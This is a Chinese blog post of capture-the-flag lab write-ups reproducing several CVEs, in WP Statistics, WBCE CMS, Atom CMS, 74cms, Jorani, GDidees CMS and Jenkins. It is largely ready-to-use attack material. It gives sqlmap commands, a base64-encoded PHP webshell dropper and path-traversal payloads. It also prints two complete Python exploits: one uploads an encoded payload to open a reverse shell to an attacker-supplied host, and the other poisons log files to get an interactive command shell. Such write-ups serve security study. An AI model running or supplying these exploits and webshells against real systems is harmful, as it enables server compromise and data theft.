春秋云境 CVE 复现

CVE-2022-4230

靶标介绍

WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。

复现

wp-login.php 进入到后台登录页面

网页上面也有提示存在 用户 test, 弱口令进入后台
test / test

进入到后台, 根据靶机的描述, WP Statistics插件存在漏洞

在这里插入图片描述

在登录的状态下获取wpnonce值

url/wp-admin/admin-ajax.php?action=rest-nonce

在这里插入图片描述

sql注入点

url/wp-json/wp-statistics/v2/metabox?_wpnonce=6bd98e82d5&name=words&search_engine=2

在这里插入图片描述

使用bp抓包, 然后sqlmap跑 (时间盲注)

需要一步一步爆出数据库名, 表名, 字段名, 最后爆数据

sqlmap -r 1.txt --batch -D wordpress -T flag -C flag --dump --batch

CVE-2022-25101

靶标介绍

WBCE CMS v1.5.2 /templates/install.php 文件存在漏洞,攻击者可精心构造文件上传造成RCE

漏洞复现

跟描述不一样的是, 不仅仅是templates/install.php可以上传文件, modules/install.php 也可以上传文件/languages也有一个, 不过这个靶机好像把/languages/install.php 给删了, 页面不存在

dirsearch扫描到后台登录框, 弱口令 admin/123456 直接进去

根据提示, 进入到/templates

在这里插入图片描述

install那里可以上传文件, 尝试后发现只能上传 zip文件,

但是会发现上传了zip文件依旧不起作用,

查看源码会发现需要里面是info.php才行

function find_addon_root_path($zip)
{
    // get list of files contained in the zip object
    if (($zip_files = $zip->listContent()) == 0) {
        return '';
    }
 
    // find first folder containing an info.php file
    foreach ($zip_files as $zip_file => $info) {
        if (basename($info['filename']) == 'info.php') {
            return '/' . dirname($info['filename']);
        }
    }
    return '';
}

所以以 info.php里面写上命令 压缩成zip文件就可以执行了
这里是直接执行文件, 所以写上一句话木马是没有用的,
<?php phpinfo();?> 上传后可以发现是直接执行了

在这里插入图片描述

这里也就可以直接拿到flag

在这里插入图片描述

当然也是可以通过写入文件的方式拿shell,

<?php file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7cGhwaW5mbygpOz8+'));?>
base64解码 -->   <?php eval($_REQUEST['1']);phpinfo();?>

注意shell.php的路由位置

在这里插入图片描述

网上也存在相应的exp

# Exploit Title: WBCE CMS 1.5.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 02/01/2022
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage: https://wbce.org/
# Software Link: https://wbce.org/de/downloads/
# Version: 1.5.2
# Tested on: Linux - PHP Version: 8.0.14
# Github repo: https://github.com/WBCE/WBCE_CMS

# -*- coding: utf-8 -*-
#/usr/bin/env python

import requests
import string
import base64
import argparse
import time
import io
from bs4 import BeautifulSoup #pip install beautifulsoup4

PAYLOAD = 'UEsDBBQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMAAAAdDE4YmtuZXYucGhwhVVtT9swEP6OxH8wUaQmUqAJ24epUSYh6CY0CbQC2weGIje5UKuJndkOhSH++85OQqqqtBIizr08eZ6783U8nujoy3zJ4enwAF8ODxToVLMK0pJVTHuhH7u/prOby+urxIlOQid2WZ246Wz68256c3vvSHhKWe08xG4tpN70GJvxZYuGL1PF/kESfQ7D2F1JpiGlCW/KMnZBSiHf39QCyjIZNZxWQI5pTFYxYXlMxnPGx2pBjtkodnMKleBJiCeYN494YIVXNDzTTPAUnpnSyhvVGddlWgi5HPn+q1uzPBlMnm9yrDE5jvzXWjKuUbMznc2uZxNyTvlIExPp+DE8oyfy47cuxX+1lrC11EKx51SBViz3/E04o66H62PWIXsxUfwGpQIypP4+m11dXn2fkG+UlZATLUgbyxScEHK7YIrg39+GaSCZqNBDKM8JF0icalqeOIifLXImPWeM56aiamm7qkS2TArzX9TAPWxrYFsYmG5wYR9Ky+BTaMt0ZBPWVHV+4rXxG4JAZZLVWkhVQ5ZQKemLFyZf24NTsxqcwJGOH0SbxhUaT7cYkXItRQZKJeaZWtbtrAQb3wtck6Za3kylEpRoZAZej+B/1GxV0xUnFnRdD+oEWpn+pvMSy8D4o9d+4z58CLBAOwKifQGnHwbYkhvnO9mbJjP8C7wnL8RUAHKC9wykgpa1mRBs5cS2EiWsFqwE1PBqbgeIosXcov/GZmeCc7BXiGiQFeNUQ44wcyS3jN86kEHah0BdobeiuPjIU9pORSdyKNZ7VbDhvKnSbEH5I+SpCQOtkvdClUjU67CCfqEE/S4JzC6xE8B4uv6lLsO3JWmXhz/U9/r8B5lNzy6Qrct43eikMPF97rDHEHp7+oS0iYhQWFJrk9J6cKDWaQ3Sd1O7vbi+u91GbkDYT9CCbKFo5O2kd7qfHg7ALnqnu+kNIHvpvRVZKVRnxiD7NpR50xJtWuxw2SVircNaiPsfENJTcpXG06OVfNTt6W7mnc73hztI6fBAgm4kJ2H8H1BLAQI/ABQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMACQAAAAAAAAAIAAAAAAAAAB0MThia25ldi5waHAKACAAAAAAAAEAGACAuZAFVv7XAYC5kAVW/tcB6Bk8KTf+1wFQSwUGAAAAAAEAAQBeAAAALgMAAAAA'

def main():
    parser = argparse.ArgumentParser(description='WBCE <= 1.5.2 - Remote Code Execution (Authenticated)')
    parser.add_argument('-x', '--url', type=str, required=True)
    parser.add_argument('-u', '--user', type=str, required=False)
    parser.add_argument('-p', '--password', type=str, required=False)
    parser.add_argument('-ah', '--attacker_host', type=str, required=False)
    parser.add_argument('-ap', '--attacker_port', type=str, required=False)
    args = parser.parse_args()
    print("\nWBCE 1.5.2 - Remote Code Execution (Authenticated)","\nExploit Author: Antonio Cuomo (Arkantolo)\n")
    exploit(args, PAYLOAD)

def exploit(args, payload):
    s2 = requests.Session()

    #login
    body= {'url':'','username_fieldname':'username_t18bknev','password_fieldname':'password_t18bknev','username_t18bknev':args.user,'password_t18bknev':args.password}
    r = s2.post(args.url+'/admin/login/index.php', data=body, allow_redirects=False)
    if(r.status_code==302 and r.headers['location'].find('/start/') != -1):
        print("[*] Login OK")
    else:
        print("[*] Login Failed")
        exit(1)

    time.sleep(1)
 
    #create droplet
    up = {'userfile':('t18bknev.zip', io.BytesIO(base64.b64decode(PAYLOAD)), "multipart/form-data")}
    r = s2.post(args.url+'/admin/admintools/tool.php?tool=droplets&upload=1', files=up)
    if(r.status_code==200 and r.text.find('1 Droplet(s) imported') != -1):
        print("[*] Droplet OK")
    else:
        print("[*] Exploit Failed")
        exit(1)

    time.sleep(1)
 
    #get csrf token
    r = s2.get(args.url+'/admin/pages/index.php')
    soup = BeautifulSoup(r.text, 'html.parser')
    formtoken = soup.find('input', {'name':'formtoken'})['value']
 
    #create page
    body= {'formtoken':formtoken,'title':'t18bknev','type':'wysiwyg','parent':'0','visibility':'public','save':''}
    r = s2.post(args.url+'/admin/pages/add.php', data=body, allow_redirects=False)
    soup = BeautifulSoup(r.text, 'html.parser')
    try:
        page_id = soup.findAll("script")[9].string.split("location.href='")[-1].split("\");")[0].split("'")[0].split("=")[1]
        print("[*] Page OK ["+page_id+"]")
    except:
        print("[*] Exploit Failed")
        exit(1)
 
    time.sleep(1)
 
    #get csrf token
    print("[*] Getting token")
    r = s2.get(args.url+'/admin/pages/modify.php?page_id='+page_id)
    soup = BeautifulSoup(r.text, 'html.parser')
    formtoken = soup.find('input', {'name':'formtoken'})['value']
    section_id = soup.find('input', {'name':'section_id'})['value']
 
    time.sleep(1)
 
    #add droplet to page
    body= {'page_id':page_id,'formtoken':formtoken,'section_id':section_id,'content'+section_id:'[[t18bknev]]','modify':'save'}
    r = s2.post(args.url+'/modules/wysiwyg/save.php', data=body, allow_redirects=False)
    if(r.status_code==200 and r.text.find('Page saved') != -1):
        print("[*] Adding droplet OK")
    else:
        print("[*] Exploit Failed")
        exit(1)  
 
    time.sleep(1)
 
    input("Please make sure that your nc listner is ready...\n\nPRESS ENTER WHEN READY")
    body= {'rev_ip':args.attacker_host,'rev_port':args.attacker_port}
    r = s2.post(args.url+'/pages/t18bknev.php', data=body, allow_redirects=False)
    if(r.status_code==200):
        print("[*] Exploit OK - check your listner")
        exit(0)
    else:
        print("[*] Exploit Failed")
        exit(1)

if __name__ == '__main__':
    main()
 

使用方法

python 1.py -x http://eci-2zee9fyka6793h4gmc8w.cloudeci1.ichunqiu.com/ -u admin -p 123456 -ah [ip] -ap [端口]

CVE-2022-25487

靶标介绍:

Atom CMS 2.0版本存在远程代码执行漏洞,该漏洞源于/admin/uploads.php 未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。

文件上传进行RCE

网站一进去是个空白, 先进行信息搜集, dirsearch扫一下目录

通过dirsearch找到了一个database.sql文件, 存在账户和密码, 密码都是同一个

在这里插入图片描述

md5在线解密一下可以发现是密码是 password
dirsearch可以扫到后台登录地址 admin/login.php alan@alan.com/password 登录进去

在user界面下存在一个文件上传的点
先尝试上传一张图片, 然后将图片的内容改成一句话木马, 上传, 发现有回显上传后的文件名

在这里插入图片描述

访问相应的路由, 发现可以进行RCE
(dirsearch可以扫出uploads目录, 所以可以猜测上传的文件在这一目录下)

在这里插入图片描述

sql注入漏洞

直接sqlmap跑

sqlmap -u "http://eci-2ze1j1a74y1jzc23w3ki.cloudeci1.ichunqiu.com/admin/index.php?page=users&id=5" --dbs --batch -p "id" 

在这里插入图片描述

这里存在sql注入的点的路由还有挺多的, 比如登录那里也存在sql注入的漏洞

CVE-2022-26271

title: 74cmsSEv3.4.1任意文件读取漏洞


靶标介绍:

74cmsSEv3.4.1存在任意文件读取漏洞。

payload

/index/Download/?name=index.php&url=../../../../../../flag

漏洞分析

(没找到源码, 直接截图其他师傅的图片)

\upload\application\index\controller\Download.php 在Downloadl类里面定义了一个index函数, 对文件进行操作

这里面的name 参数 和 url 参数是可控的, 主要是url 参数, 没有进行任何的过滤, 可以目录穿越访问从而下载任何一个文件, 而name参数就是为下载的文件重新命名, 无所谓是啥

在这里插入图片描述

然后就是如何调用到 Download类去执行这个方法

在index控制器类里面, 定义了一个index方法, 最后会返回一个 $this->fetch('index/'.$index_tpl.'/index')
这里$index_tpl 就是要调用的其他控制器类, 在这里就可以去调用 Download控制器类了, 就可以利用到它的漏洞了

在这里插入图片描述

参考文章:

https://www.kinsomnia.cn/index.php/2024/01/22/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83/
https://github.com/N1ce759/74cmsSE-Arbitrary-File-Reading/issues/1

CVE-2023-26469

靶标介绍:

Jorani是一款开源的员工考勤和休假管理系统,适用于中小型企业和全球化组织,它简化了员工工时记录、休假请求和审批流程,并提供了多语言支持以满足不同地区的需求。在 Jorani 1.0.0 中,攻击者可以利用路径遍历来访问文件并在服务器上执行代码。

复现

获取 csrf_cookie_jorani : 2ff359dd7e588c19052a333a93e489f4
jorani_session : bfa1edc456a027137540c2b7fde8a89926c4e785 两个cookie值

构造payload , 执行命令

csrf_test_jorani=2ff359dd7e588c19052a333a93e489f4&last_page=session/login&language=../../application/logs&login=<?=`$_GET[cmd]`?>&CipheredValue=test
/pages/view/log-2024-11-26?cmd=cat+/flag

exp

"""
vulnerability covered by CVE-2023-26469
"""
import readline
import requests
import datetime
import sys
import re
import base64
import random
import string

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

msg = lambda x, y="\n": print(f'\x1b[92m[+]\x1b[0m {x}', end=y)
err = lambda x, y="\n": print(f'\x1b[91m[x]\x1b[0m {x}', end=y)
log = lambda x, y="\n": print(f'\x1b[93m[?]\x1b[0m {x}', end=y)

CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
CMD_PATTERN = re.compile('---------(.*?)---------', re.S)

URLS = {
    'login': '/session/login',
    'view': '/pages/view/',
}

alphabet = string.ascii_uppercase
HEADER_NAME = ''.join(random.choice(alphabet) for i in range(12))

BypassRedirect = {
    'X-REQUESTED-WITH': 'XMLHttpRequest',
    HEADER_NAME: ""
}

INPUT = "\x1b[92mjrjgjk\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ "  # The input used for the pseudo term

u = lambda x, y: x + URLS[y]

POISON_PAYLOAD = "<?php if(isset($_SERVER['HTTP_" + HEADER_NAME + "'])){system(base64_decode($_SERVER['HTTP_" + HEADER_NAME + "']));} ?>"
PATH_TRAV_PAYLOAD = "../../application/logs"

if __name__ == '__main__':
    print("""
	/!\\ Do not use this if you are not authorized to /!\\
		""")
    log("POC made by @jrjgjk (Guilhem RIOUX)", "\n\n")

    if len(sys.argv) == 1:
        err(f"Usage: {sys.argv[0]} <url>")
        exit(0)

    log(f"Header used for exploit: {HEADER_NAME}")

    t = sys.argv[1]

    s = requests.Session()
    log("Requesting session cookie")
    res = s.get(u(t, "login"), verify=False)

    C = s.cookies.get_dict()

    Date = datetime.date.today()
    log_file_name = f"log-{Date.year}-{str(Date.month).zfill(2)}-{str(Date.day).zfill(2)}"

    csrf_token = re.findall(CSRF_PATTERN, res.text)[0]
    log(f"Poisoning log file with payload: '{POISON_PAYLOAD}'")
    log(f"Set path traversal to '{PATH_TRAV_PAYLOAD}'")
    msg(f"Recovered CSRF Token: {csrf_token}")

    data = {
        "csrf_test_jorani": csrf_token,
        "last_page": "session/login",
        "language": PATH_TRAV_PAYLOAD,
        "login": POISON_PAYLOAD,
        "CipheredValue": "DummyPassword"
    }

    s.post(u(t, "login"), data=data)

    log(f"Accessing log file: {log_file_name}")

    exp_page = t + URLS['view'] + log_file_name

    ### Shell
    cmd = ""
    while True:
        cmd = input(INPUT)
        if cmd in ['x', 'exit', 'quit']:
            break
        elif cmd == "":
            continue
        else:
            BypassRedirect[HEADER_NAME] = base64.b64encode(b"echo ---------;" + cmd.encode() + b" 2>&1;echo ---------;")
            res = s.get(exp_page, headers=BypassRedirect)
            cmdRes = re.findall(CMD_PATTERN, res.text)
            try:
                print(cmdRes[0])
            except:
                print(res.text)
                err("Wow, there was a problem, are you sure of the URL ??")
                err('exiting..')
                exit(0)

CVE-2023-27179

靶标介绍:

GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞,漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。

复现

url/_admin/imgdownload.php 在这个路由下 通过 filename参数进行一个文件读取

/_admin/imgdownload.php?filename=../../../../../etc/passwd

分析一下它的这部分的代码

可以发现它对于filename参数 使用了 readfile() 函数, 且没有进行任何过滤, 从而造成了任意文件读取的漏洞

<?php
// on essaie de reconnaitre l'extension pour que le téléchargement corresponde au type de fichier afin d'éviter les erreurs de corruptions
if (isset($_GET["filename"])) {
    $filename=$_GET["filename"];
    $uploadname=substr(basename($filename), 0, 6).'.png';
    switch(strrchr(basename($filename), ".")) {
        case ".gz": $type = "application/x-gzip"; break;
        case ".tgz": $type = "application/x-gzip"; break;
        case ".zip": $type = "application/zip"; break;
        case ".pdf": $type = "application/pdf"; break;
        case ".png": $type = "image/png"; break;
        case ".gif": $type = "image/gif"; break;
        case ".jpg": $type = "image/jpeg"; break;
        case ".txt": $type = "text/plain"; break;
        case ".htm": $type = "text/html"; break;
        case ".html": $type = "text/html"; break;
        default: $type = "application/octet-stream"; break;
    }
    //envoi du fichier
    header('Content-Transfer-Encoding: $type\n');
    header('Content-Type: application/force-download');
    header('Content-Disposition: attachment; filename="'.$uploadname.'"');
    header('Content-Length: '.filesize($filename));
    header('Pragma: no-cache');
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0, public");
    header("Expires: 0");
    @readfile($filename) OR die();
}
?>

CVE-2024-23897

靶标介绍:

Jenkins 2.441及更早版本,以及LTS 2.426.2及更早版本没有禁用其CLI命令解析器的一个功能,该功能会将参数中’@'字符后跟的文件路径替换为该文件的内容,允许未经身份验证的攻击者读取Jenkins控制器文件系统上的任意文件。

漏洞成因:

Jenkins提供了一个命令行接口,用户可以通过jenkins-cli.jar调用这个接口来执行一些jenkins的功能,但是由于使用jenkins-cli.jar执行命令行时,命令行是在服务端调用第三方库 args4j 进行解析的,这个库实现了Linux中一个常见的功能——如果一个参数是以@开头,则会被自动认为是一个文件名,文件内容会被读取作为参数,然后引发报错,将文件内容通过报错显示出来,造成了文件读取。

使用who-am-i 命令和 help 可以读取文件的前几行内容

如果Jenkins开启了“匿名用户可读”选项,则大部分命令都可以被调用,其中包括connect-node命令和reload-job命令。这俩命令可以用来读取文件全部内容

复现

url/jnlpJars/jenkins-cli.jar 下载客户端

然后利用这个客户端进行文件读取

java -jar jenkins-cli.jar -s url -http help "@/etc/passwd"

java -jar jenkins-cli.jar -s url -http who-am-i "@/flag"

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/923617.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux—进程概念学习-03

目录 Linux—进程学习—31.进程优先级1.1Linux中的进程优先级1.2修改进程优先级—top 2.进程的其他概念3.进程切换4.环境变量4.0环境变量的理解4.1环境变量的基本概念4.2添加环境变量—export4.3Linux中环境变量的由来4.4常见环境变量4.5和环境变量相关的命令4.6通过系统调用获…

go语言逆向-基础basic

文章目录 go 编译命令 ldflags -w -s的作用和问题使用 file 命令查看文件类型 go 语言逆向参考go ID版本GOROOT和GOPATHGOROOTGOPATHGOROOT和GOPATH的关系示例 go build和 go modpclntab &#xff08;Program Counter Line Table 程序计数器行数映射表&#xff09;Moduledata程…

RAG架构类型

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

PostgreSQL详细安装教程

#安装PostgreSQL的yum仓库 sudo yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm#安装PostgreSQL 15版本 sudo yum install -y postgresql15-server#初始化数据库&#xff08;若要自定义数据库存储目录…

uniapp介入极光推送教程 超级详细

直接按照下面教程操作 一步一步来 很快就能 完成 下面的文章非常详细 &#xff0c;我就不班门弄斧了 直接上原文链接 https://blog.csdn.net/weixin_52830464/article/details/143823231

公司金融期末考试题目

公司金融期末考试题 选择题 1.现金折扣和信用条件&#xff08;教材P253&#xff09; 题目类似&#xff1a; 下列不属于信用条件的是&#xff08;&#xff09;。 现金折扣 数量折扣信用期限 折扣期限 给定的信用条件为"1/10&#xff0c;n/40"&#xff0c;则其含义…

图论入门编程

卡码网刷题链接&#xff1a;98. 所有可达路径 一、题目简述 二、编程demo 方法①邻接矩阵 from collections import defaultdict #简历邻接矩阵 def build_graph(): n, m map(int,input().split()) graph [[0 for _ in range(n1)] for _ in range(n1)]for _ in range(m): …

visionpro实践项目(一)进阶

在visionpro实践项目&#xff08;一&#xff09;中&#xff0c;我们是使用标签工具&#xff0c;将测得的零件宽度信息显示在图片上&#xff0c;在这篇文章中&#xff0c;我们换一种方法&#xff0c;使用脚本工具来显示宽度信息。这就涉及到写代码了。 将Job中的标签工具删掉&am…

KPAC(ICCV 2021)代码单图片推理

文章目录 KPAC(ICCV 2021)代码单图片推理创建虚拟环境安装依赖包数据集路径设置运行测试单图片推理 KPAC(ICCV 2021)代码单图片推理 论文链接&#xff1a;Single Image Defocus Deblurring Using Kernel-Sharing Parallel Atrous Convolutions 该论文研究的问题是散焦去模糊&…

Flink cdc同步增量数据timestamp字段相差八小时(分析|解决)不是粘贴复制的!

问题 我使用flink cdc同步mysql到mysql遇到了timestamp字段缺少八小时的问题。很少无语&#xff0c;flink ,cdc,debezium时区都设置了&#xff0c;没有任何效果&#xff01; 分析 问题出现在mysql binlog身上&#xff01;&#xff01;&#xff01; 因为默认mysql会使用UTC来…

算法新篇章:AI如何在数学领域超越人类

人工智能咨询培训老师叶梓 转载标明出处 尽管大模型在很多领域表现出色&#xff0c;比如理解自然语言和生成文本&#xff0c;但它们在解决一些复杂的推理任务时&#xff0c;比如数学问题、编程挑战或者医疗诊断&#xff0c;还是显得有些力不从心。最近&#xff0c;一个来自中国…

MTK主板_安卓主板方案_MTK联发科主板定制开发

联发科(MTK)主板以其强大的性能和多样化的功能而受到广泛关注。该平台包括多个型号&#xff0c;例如MT6761、MT8766、MT6762、MT6765、MT8768和MT8788等&#xff0c;均配置了四核或八核64位处理器&#xff0c;主频可高达2.0GHz。采用先进的12nm工艺&#xff0c;搭载Android 11.…

windows安全中心,永久卸载工具分享

使用方法 2024Goby红队版工具分享&#xff0c;附2024年漏洞POC下载 下载链接&#xff1a; https://pan.quark.cn/s/4fc2712a2afc一路回车&#xff0c;选项Y即可 耐心等待几秒种&#xff0c;自动重启 此时打开windows安全中心&#xff0c;已经完全不能使用了&#xff0c;响应…

css—轮播图实现

一、背景 最近和朋友在一起讨论的时候&#xff0c;我们提出了这样的一个提问&#xff0c;难道轮播图的效果只能通过js来实现吗&#xff1f;经过我们的一系列的争论&#xff0c;发现了这是可以通过纯css来实现这一效果的&#xff0c;CSS轮播图也是一种常见的网页展示方式&#x…

使用Python和Pybind11调用C++程序(CMake编译)

目录 一、前言二、安装 pybind11三、编写C示例代码四、结合Pybind11和CMake编译C工程五、Python调用动态库六、参考 一、前言 跨语言调用能对不同计算机语言进行互补&#xff0c;本博客主要介绍如何实现Python调用C语言编写的函数。 实验环境&#xff1a; Linux gnuPython3.10…

设计模式之 责任链模式

责任链模式&#xff08;Chain of Responsibility Pattern&#xff09;是一种行为型设计模式&#xff0c;旨在将多个处理对象通过链式结构连接起来&#xff0c;形成一条处理请求的链条。每个处理对象都有机会处理请求&#xff0c;或者将请求传递给链中的下一个对象。这样&#x…

EXTI配置流程 含中断延时消抖点亮小灯

如图可知&#xff0c;配置流程分成以下一个部分 ①使能GPIO时钟 __HAL_RCC_GPIOA_CLK_ENABLE();// 打开时钟 ②初始化利用 HAL_GPIO_Init 一步到位&#xff0c;可以初始化外设GPIO的一切 4个参数 &#xff08;引脚 Pull 这里选择的模式是从下面这几个里面选 速度&#x…

Scrapy图解工作流程-cnblog

1.1 介绍部分&#xff1a; 文字提到常用的Web框架有Django和Flask&#xff0c;接下来将学习一个全球范围内流行的爬虫框架Scrapy。 1.2 内容部分&#xff1a; Scrapy的概念、作用和工作流程 Scrapy的入门使用 Scrapy构造并发送请求 Scrapy模拟登陆 Scrapy管道的使用 Scrapy中…

string类部分(C++)

目录 1. string类 1.1 auto和范围for auto关键词&#xff1a; 范围for&#xff1a; 1.2 string类的常用接口说明 a&#xff09;string类对象的常见构造 b&#xff09; string类对象的容量操作 size与length&#xff1a; capacity: empty: clear: reserve: 1.reserve&am…

实现一个可配置的TCP设备模拟器,支持交互和解析配置

前言 诸位在做IOT开发的时候是否有遇到一个问题&#xff0c;那就是模拟一个设备来联调测试&#xff0c;虽然说现在的物联网通信主要是用mqtt通信&#xff0c;但还是有很多设备使用TCP这种协议交互&#xff0c;例如充电桩&#xff0c;还有一些工业设备&#xff0c;TCP这类报文交…